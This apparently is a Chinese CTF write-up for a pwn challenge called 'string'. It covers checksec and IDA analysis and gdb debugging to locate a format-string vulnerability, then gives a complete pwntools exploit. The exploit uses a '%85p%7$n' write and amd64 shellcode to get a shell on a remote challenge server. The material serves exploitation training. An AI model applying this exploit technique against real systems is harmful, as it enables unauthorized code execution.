文章27
标签0
分类4

string

首先checksec
在这里插入图片描述
保护开的比较多
直接拿IDA看一看
在这里插入图片描述
开局给出了v3的地址和v3下一位地址,进入一个函数
在这里插入图片描述
输入name,进入第一个函数
在这里插入图片描述
输入east进入下一个函数
在这里插入图片描述
在23行发现存在格式化字符串漏洞。
看下一个函数
在这里插入图片描述
来到这,就可以写入shellcode了,前提是a1等于下一个地址
先拿gdb调试,prinf处下断点
地址给28
在这里插入图片描述
输入多个%x,看到我们28存放的位置在第7位
在这里插入图片描述
所以只需改写第7个为85之后就可以写入shellcode了。

exp:

from pwn import*

sh = process("./string")
sh = remote("111.200.241.244",62404)
context(log_level="debug",arch="amd64")

if __name__ == "__main__":

    sh.recvuntil('secret[0] is ')
    v3_addr = int(sh.recv(7),16)

    sh.recvuntil('name be:')
    sh.sendline('wdnmd')
    sh.recvuntil('east or up?:')
    sh.sendline('east')
    sh.recvuntil('leave(0)?:')
    sh.sendline('1')

    sh.recvuntil('\'Give me an address\'')
    sh.sendline(str(v3_addr))

    sh.recvuntil('you wish is:')
    payload ="%85p"+"%7$n"
    sh.sendline(payload)
    sh.recvuntil("I will help you! USE YOU SPELL")
    sh.sendline(asm(shellcraft.amd64.sh()))

    sh.interactive()

    0 评论

    ">